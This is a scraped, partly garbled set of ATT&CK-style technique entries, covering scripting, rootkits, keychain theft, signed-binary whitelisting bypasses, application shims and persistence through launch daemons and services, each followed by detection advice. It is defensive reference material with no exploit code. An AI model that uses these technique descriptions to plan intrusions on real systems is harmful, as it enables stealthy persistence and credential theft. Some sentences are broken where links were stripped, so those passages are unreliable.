Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.
Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit[[Citation: Metasploit]], Veil[[Citation: Veil]], and PowerSploit[[Citation: Powersploit]] are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell.[[Citation: Alperovitch 2014]]
Detection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information , , or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: Process monitoring, File monitoring, Process command-line parameters
Links |
http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/ |
Data from Removable Media
Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to cmd may be used to gather information. Some adversaries may also use Automated Collection on removable media.
Detection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system’s connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: File monitoring, Process monitoring, Process command-line parameters
Links |
Code Signing
Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.[[Citation: Wikipedia Code Signing]] However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries[[Citation: Janicab]]. The certificates used during an operation may be created, forged, or stolen by the adversary.[[Citation: Securelist Digital Certificates]][[Citation: Symantec Digital Certificates]]
Code signing to verify software on first run can be used on modern Windows and MacOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform.[[Citation: Wikipedia Code Signing]]
Code signing certificates may be used to bypass security policies that require signed code to execute on a system.
Detection: Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X
Data Sources: Binary file metadata
Links |
http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates |
http://www.thesafemac.com/new-signed-malware-called-janicab/ |
Hidden Window
The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application’s icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don’t also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window [[Citation: Antiquated Mac Malware]].
Detection: Plist files are ASCII text files with a specific format, so they’re relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.
Platforms: MacOS, OS X
Data Sources: File monitoring
Links |
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ |
Rootkit
Rootkits are programs that hide the existence of malware by intercepting and modifying operating system API calls that supply system information. Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware.[[Citation: Wikipedia Rootkit]]
Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components.
Detection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR.[[Citation: Wikipedia Rootkit]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: BIOS, MBR, System calls
Links |
Startup Items
Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items[[Citation: Startup Items]]. This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory.
An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism[[Citation: Methods of Mac Malware Persistence]]. Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.
Detection: The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.
Platforms: MacOS, OS X
Data Sources: File monitoring, Process Monitoring
Effective Permissions: root
Links |
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
Command-Line Interface
Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms.cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task).
Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.
Detection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Process monitoring, Process command-line parameters
Links |
Exfiltration Over Command and Control Channel
Data exfiltration is performed over the [[Command and Control]] channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.
Detection: Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: User interface, Process monitoring
Links |
Multi-Stage Channels
Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.
Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.
The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.
Detection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from of the system and network information or [[Lateral Movement]] to the originating process may also yield useful data.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture, Process use of network
Links |
Keychain
Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.[[Citation: Wikipedia keychain]] The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.
To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault.[[Citation: External to DA, the OS X Way]] By default, the passphrase for the keychain is the user’s logon credentials.
Detection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.
Platforms: MacOS, OS X
Data Sources: System calls, Process Monitoring
Links |
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way |
Input Capture
Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.
Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring
Contributors: John Lambert, Microsoft Threat Intelligence Center
Links |
Regsvcs/Regasm
Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft.[[Citation: MSDN Regsvcs]][[Citation: MSDN Regasm]]
Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.[[Citation: SubTee GitHub All The Things Application Whitelisting Bypass]]
Detection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Process monitoring, Process command-line parameters
Contributors: Casey Smith
Links |
Trusted Developer Utilities
There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.
===MSBuild===
MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations.[[Citation: MSDN MSBuild]]
Adversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file.[[Citation: MSDN MSBuild Inline Tasks]] MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution.[[Citation: SubTee GitHub All The Things Application Whitelisting Bypass]]
===DNX===
The .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016.[[Citation: Microsoft Migrating from DNX]] DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft.
An adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX.[[Citation: engima0x3 DNX Bypass]]
===RCSI===
The rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution.[[Citation: Microsoft Roslyn CPT RCSI]] The rcsi.exe binary is signed by Microsoft.[[Citation: engima0x3 RCSI Bypass]]
C# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe.[[Citation: engima0x3 RCSI Bypass]]
===WinDbg/CDB===
WinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools.[[Citation: Microsoft Debugging Tools for Windows]] They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.
An adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities.[[Citation: Exploit Monday WinDbg]]
It is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.
Detection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.
Use process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.
Platforms: Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Process monitoring
Contributors: Casey Smith
System Network Configuration Discovery
Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: Process monitoring, Process command-line parameters
Links |
Scheduled Task
Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. The account used to create the task must be in the Administrators group on the local system. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on.Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: File monitoring, Process monitoring, Process command-line parameters
Effective Permissions: SYSTEM, Administrator
Links |
Application Shimming
The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow compatibility of programs as Windows updates and changes its code. For example, application shimming feature that allows programs that were created for Windows XP to work with Windows 10. Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses API hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:
-
<code>%WINDIR%\AppPatch\sysmain.sdb</code>
-
<code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb</code>
Custom databases are stored in:
-
<code>%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code>
-
<code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom</code>
To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDll), and intercept memory addresses (GetProcAddress). Utilizing these shims, an adversary can perform several malicious acts, such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.
Detection: There are several public tools available that will detect shims that are currently available[[Citation: Black Hat 2015 App Shim]]:
-
Shim-Process-Scanner - checks memory of every running process for any Shim flags
-
Shim-Detector-Lite - detects installation of custom shim databases
-
Shim-Guard - monitors registry for any shim installations
-
ShimScanner - forensic tool to find active shims in memory
-
ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)
Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters
Links |
Windows Management Instrumentation
Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB)[[Citation: Wikipedia SMB]] and Remote Procedure Call Service (RPCS)[[Citation: TechNet RPC]] for remote access. RPCS operates over port 135.[[Citation: MSDN WMI]]
An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for and remote of files as part of [[Lateral Movement]].[[Citation: FireEye WMI 2015]]
Detection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of "wmic" and detect commands that are used to perform remote behavior.[[Citation: FireEye WMI 2015]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring, Process command-line parameters
Links |
NTFS Extended Attributes
Data or executables may be stored in New Technology File System (NTFS) partition metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.[[Citation: Journey into IR ZeroAccess NTFS EA]]
The NTFS format has a feature called Extended Attributes (EA), which allows data to be stored as an attribute of a file or folder.[[Citation: Microsoft File Streams]]
Detection: Forensic techniques exist to identify information stored in EA.[[Citation: Journey into IR ZeroAccess NTFS EA]] It may be possible to monitor NTFS for writes or reads to NTFS EA or to regularly scan for the presence of modified information.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: File monitoring, Kernel drivers
Links |
http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html |
Launch Daemon
Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code>[[Citation: AppleDocs Launch Agent Daemons]]. These LaunchDaemons have property list files which point to the executables that will be launched[[Citation: Methods of Mac Malware Persistence]].
Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories[[Citation: OSX Malware Detection]]. The daemon name may be disguised by using a name from a related operating system or benign software [[Citation: WireLurker]]. Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.
The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.
Detection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See’s Knock Knock application.
Platforms: MacOS, OS X
Data Sources: Process Monitoring, File monitoring
Effective Permissions: root
Links |
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf |
Process Discovery
Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.
===Windows===
An example command that would obtain details on processes is "tasklist" using the Tasklist utility.
===Mac and Linux===
In Mac and Linux, this is accomplished with the <code>ps</code> command.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Process monitoring, Process command-line parameters
Links |
System Firmware
The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.[[Citation: Wikipedia BIOS]][[Citation: Wikipedia UEFI]][[Citation: About UEFI]]
System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.
Detection: System firmware manipulation may be detected.[[Citation: MITRE Trustworthy Firmware Measurement]] Dump and inspect BIOS images on vulnerable systems and compare against known good images.[[Citation: MITRE Copernicus]] Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.
Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed.[[Citation: McAfee CHIPSEC Blog]][[Citation: Github CHIPSEC]][[Citation: Intel HackingTeam UEFI Rootkit]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: API monitoring, BIOS, EFI
Contributors: Ryan Becwar
Registry Run Keys / Start Folder
Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.Masquerading to make the Registry entries look as if they are associated with legitimate programs.
Detection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders.[[Citation: TechNet Autoruns]] Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.
Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through , and [[Lateral Movement]].
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Windows Registry, File monitoring
Links |
Service Execution
Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.
Detection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Windows Registry, Process monitoring, Process command-line parameters
Links |
Uncommonly Used Port
Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Netflow/Enclave netflow, Process use of network, Process monitoring
Links |
Deobfuscate/Decode Files or Information
Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.
One such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file.certutil.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: File monitoring, Process Monitoring, Process command-line parameters
Contributors: Matthew Demaske, Adaptforward
Links |
Create Account
Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.
The <code>net user</code> commands can be used to create a local or domain account.
Detection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller.[[Citation: Microsoft User Creation Event]] Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.
Platforms: Windows 10, Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows Server 2003, Windows Server 2008, Windows XP, Windows Server 2003 R2, Windows Vista, Linux, MacOS, OS X
Data Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs
Links |
https://docs.microsoft.com/windows/device-security/auditing/event-4720 |
Data Staged
Collected data is staged in a central location or directory prior to Data Compressed or Data Encrypted.
Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.
Detection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.
Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: File monitoring, Process monitoring, Process command-line parameters
Links |
Rc.common
During the boot process, macOS and Linux both execute <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts[[Citation: Startup Items]]. In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.
Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user[[Citation: Methods of Mac Malware Persistence]].
Detection: The <code>/etc/rc.common</code> file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.
Platforms: Linux, MacOS, OS X
Data Sources: File monitoring, Process Monitoring
Links |
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
Securityd Memory
In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.[[Citation: OS X Keychain]][[Citation: External to DA, the OS X Way]] Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.[[Citation: OS X Keychain]]
If an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.[[Citation: OS X Keychain]][[Citation: OSX Keydnap malware]]
Platforms: OS X
Data Sources: Process Monitoring
New Service
When operating systems boot up, they can start programs or applications called services that perform background system functions.Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.
Detection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Windows Registry, Process monitoring, Process command-line parameters
Effective Permissions: SYSTEM
Links |
Network Share Connection Removal
